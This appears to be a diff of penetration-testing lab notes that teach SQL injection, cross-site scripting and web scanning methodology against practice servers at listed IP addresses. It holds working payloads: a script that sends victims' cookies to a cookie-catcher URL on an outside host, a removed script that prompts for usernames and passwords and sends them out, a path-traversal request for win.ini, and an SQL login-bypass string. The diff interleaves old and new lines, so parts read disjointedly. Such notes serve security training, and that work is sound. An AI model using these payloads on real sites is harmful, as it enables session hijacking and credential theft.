93 | Page returns the following error: | |

95 | - | There's no parameter passing on the home page so the answer to question 1 is NO. |

96 | - | There is however a search box in the top right of the webpage, so the answer to question 2 is YES. |

148 | https://www.symantec.com/connect/blogs/mysql-injection-comments-comments | |
149 | ||
150 | Both attackers and penetration testers alike often forget that MySQL comments deviate from the standard ANSI SQL specification. The double-dash comment syntax was first supported in MySQL 3.23.3. However, in MySQL a double-dash comment "requires the second dash to be followed by at least one whitespace or control character (such as a space, tab, newline, and so on)." This double-dash comment syntax deviation is intended to prevent complications that might arise from the subtraction of negative numbers within SQL queries. Therefore, the classic SQL injection exploit string will not work against backend MySQL databases because the double-dash will be immediately followed by a terminating single quote appended by the web application. However, in most cases a trailing space needs to be appended to the classic SQL exploit string. For the sake of clarity we'll append a trailing space and either a "+" or a letter. | |

362 | OK - what is Cross Site Scripting (XSS) | |
363 | ||
364 | 1. Use Firefox to browse to the following location: | |
365 | ---------------------------Paste this into Firefox----------------------------------- | |
366 | http://45.63.104.73/xss_practice/ | |
367 | - | http://54.172.112.249/xss_practice/cookie_stealer_logs.html |
367 | + | ------------------------------------------------------------------------------------- |
368 | A really simple search page that is vulnerable should come up. | |
369 | ||
370 | ||
371 | ||
372 | ||
373 | 2. In the search box type: | |
374 | ||
375 | <script>alert('So this is XSS')</script> | |
376 | ||
377 | ||
378 | This should pop-up an alert window with your message in it proving XSS is in fact possible. | |
379 | Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/ | |
380 | ||
381 | ||
382 | 3. In the search box type: | |
383 | ||
384 | <script>alert(document.cookie)</script> | |
385 | ||
386 | ||
387 | - | http://54.172.112.249/xss_practice/ |
387 | + | |
388 | Ok, click OK and then click back and go back to http://45.63.104.73/xss_practice/ | |
389 | ||
390 | 4. Now replace that alert script with: | |
391 | ||
392 | <script>document.location="http://45.63.104.73/xss_practice/cookie_catcher.php?c="+document.cookie</script> | |
393 | ||
394 | ||
395 | - | Option 1 |
395 | + | |
396 | - | -------- |
396 | + | |
397 | ||
398 | 5. Now view the stolen cookie at: | |
399 | ---------------------------Paste this into Firefox----------------------------------- | |
400 | - | document.write("<img src=\"http://54.172.112.249/xss_practice/passwordgrabber.php?password=" +password+"\">"); |
400 | + | http://45.63.104.73/xss_practice/cookie_stealer_logs.html |
401 | ------------------------------------------------------------------------------------- | |
402 | ||
403 | The cookie catcher writes to this file and all we have to do is make sure that it has permissions to be written to. | |
404 | ||
405 | - | http://54.172.112.249/xss_practice/passwords.html |
405 | + | |
406 | ||
407 | ||
408 | ||
409 | - | Option 2 |
409 | + | |
410 | - | -------- |
410 | + | |
411 | # A Better Way To Demo XSS # | |
412 | - | username=prompt('Please enter your username',' '); |
412 | + | |
413 | - | password=prompt('Please enter your password',' '); |
413 | + | |
414 | - | document.write("<img src=\"http://54.172.112.249/xss_practice/unpw_catcher.php?username="+username+"&password="+password+"\">"); |
414 | + | |
415 | Let's take this to the next level. We can modify this attack to include some username/password collection. Paste all of this into the search box. | |
416 | ||
417 | ||
418 | Use Firefox to browse to the following location: | |
419 | ---------------------------Paste this into Firefox----------------------------------- | |

450 | - | Open a new tab in firefox and try this: |
450 | + | - Run two (2) unauthenticated vulnerability scans against the target |
451 | - | http://54.200.178.220/OpenPage.aspx?filename=../../../../../../windows/win.ini |
451 | + | - Run two (2) authenticated vulnerability scans against the target with low-level user credentials |
452 | - Run two (2) authenticated vulnerability scans against the target with admin privileges | |
453 | - | Try this on the inquiry form: |
453 | + | |
454 | - | Joe McCray |
454 | + | The web application vulnerability scanners that I use for this process are (HP Web Inspect, and Acunetix). |

456 | + | A good web application vulnerability scanner comparison website is here: |

458 | ||
459 | - | Login Box: |
459 | + | |
460 | Look to see if there are cases where both scanners identify the same vulnerability. Investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue. | |
461 | - | ' or 1=1 or ''=' |
461 | + | |
462 | - | anything (click login instead of pressing enter) |
462 | + | When you run into cases where one (1) scanner identifies a vulnerability that the other scanner does not you should still investigate these cases thoroughly, ensure that it is NOT a false positive, and report the issue. |
463 | ||
464 | ||
465 | Be sure to look for scans that take more than 3 or 4 hours as your scanner may have lost its active session and is probably not actually finding real vulnerabilities anymore. | |
466 | - | Tamper Data: (notice 2 session IDs) |
466 | + | |
467 | ||
468 | - | AcmeTrading=a4b796687b846dd4a34931d708c62b49; SessionID is md5 |

472 | Step 1b: Directory Brute Forcer | |
473 | ------------------------------- | |
474 | - | Profile - Detail (tamper data) |
474 | + | I like to run DirBuster or a similar tool. This is great to find hidden gems (backups of the website, information leakage, unreferenced files, dev sites, etc). |

479 | + | |
480 | - | <script>alert(123);</script> |
480 | + | Try to do this step while your automated scans are running. Use Burp Suite or the Tamper Data Firefox extension to browse EVERY PAGE of the website (if this is realistic). |
481 | ||
482 | Step 2a: Spider/Scan the entire site with Burp Suite | |
483 | Save the spider and scan results. I usually provide this data to the customer as well. | |
484 | ||
485 | ||
486 | Step 2b: Browse through the site using the 3 question method | |
487 | Have Burp Suite on with intercept turned off. Browse the website using the 3 question method that I've taught you in the past. When you find a place in the site where the answer to one of the 3 questions is yes - be sure to look at that individual web request in the target section of Burp Suite, right-click on that particular request and choose 'Send to Intruder'. | |
488 | - | # More Course Materials # |
488 | + | |
489 | Take the appropriate fuzz list from https://github.com/fuzzdb-project/fuzzdb/ and load it into Intruder. A quick tip for each individual payload is to be sure to send the payload both with and without the parameter value. | |
490 | ||
491 | - | Slides: |
491 | + | Here is what I mean: |

492 | + | http://www.site.com/page.aspx?parametername=parametervalue |
493 | - | https://s3.amazonaws.com/StrategicSec-Files/BurpSuiteBootcamp/Burp+Suite.pptx |
493 | + | |
494 | When you are looking at an individual request - often times Burp Suite will insert the payload in place of the parameter value like this: | |
495 | ||
496 | - | Lab Manual: |
496 | + | http://www.site.com/page.aspx?parametername=[ payload ] |
497 | - | https://s3.amazonaws.com/StrategicSec-Files/BurpSuiteBootcamp/BurpSuite-Bootcamp-v1.pdf |
497 | + | |
498 | You need to ensure that you send the payload this way, and like this below: | |

501 | + | |
502 | This little hint will pay huge dividends in actually EXPLOITING the vulnerabilities you find instead of just identifying them. | |
